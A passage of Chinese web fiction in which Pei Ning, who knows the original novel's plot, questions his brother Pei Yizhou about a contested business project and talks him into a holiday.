原著里祁漠和裴亦舟在商场上争得有来有回,还搭上了裴家的线,联手一道针对裴亦舟。 这背后的竞争多粗龋,分明经历了很多,但原文却只用了寥寥几笔一言概之,搞得裴宁没办法像对付邱方明那样对症下药。“在想什么呢这么严肃?”裴亦舟点了下裴宁的眉心,“皱得好紧,要变成小老头了。”他指尖微凉,裴宁下意识松开眉头:“没什么。哥哥,你最近公司里还顺利吗?”“怎么突然查起岗来,”裴亦舟笑着问,“刚起步还不稳定,总是有好有坏的,裴叔叔之前帮忙牵过线,最难的时候也过去了。” “那是好的多还是坏的多?”裴宁追问。 《绝对占有》原著也不知道是怎么写的,叙事的时候总爱插叙,某些情节含煳其辞,某些故事又混乱颠倒,裴宁暑假里列着表格梳理了半天才摸出一个所以然来。 但好巧不巧,祁漠和裴亦舟的对手戏正是原著总被模糊的那一部分。 裴宁简直怒了,这么重要的部分怎么能不写?!那么长篇大论的语句不放在重点上,全用来描绘他哥长得多么多么好看了……不过也确实很好看。 注意力短暂跑偏,裴宁听见裴亦舟说:“总的来说不错,只是有个项目一直没定下来。” “什么项目?”裴宁的专业和裴亦舟差了十万八千里,他一知半解,但非要问个明白。只要问得多,总能再发现点蛛丝马迹的。 “你室友的小叔,燕越,还记得吗,”裴亦舟说,“他手底下有个项目陈老师推荐我去试试,不过目前还没得到准话。听说祁家先前已经接触过了,就是不知道会落在哪一边。”“!!”直中命门。 裴宁克制着自己,努力让自己表现得没那么吃惊:“那你有把握吗?” 他记得原著里这个项目似乎是被自家哥哥拿下的。 “有。”裴亦舟眉眼温和,但却透着一点浅淡的强势,“我们做了很多准备,虽然底蕴不如祁家,但市场总是需要新鲜血液的。” “那等你拿下项目,是不是就能休息一段时间了?” 距离商战那段剧情大概还有段时间,裴宁最会给自己宽心,在得到裴亦舟肯定的回答之后又心痒难耐,没忍住问起了休假事宜。 “在此之前还有几天年假的余额。” “马上就校运会了,后头还有个长假,我想着……我们好像很久没有出门玩过了。”裴宁眨眨眼,期待都摆在明面上。 膝盖边上的腿不安分地开合着,时不时撞他几下,像小猫撒娇似的,不达目的誓不罢休。见此情状,裴亦舟眉梢轻抬:“想什么时候出去?” 裴宁得寸进尺:“你都这么问了,就是说你的假期我可以随便安排?” 这几乎是一个不需要多问的问题。 裴亦舟撩开他耳边垂落的发丝,神色温柔,当即给了许可:“听凭安排。”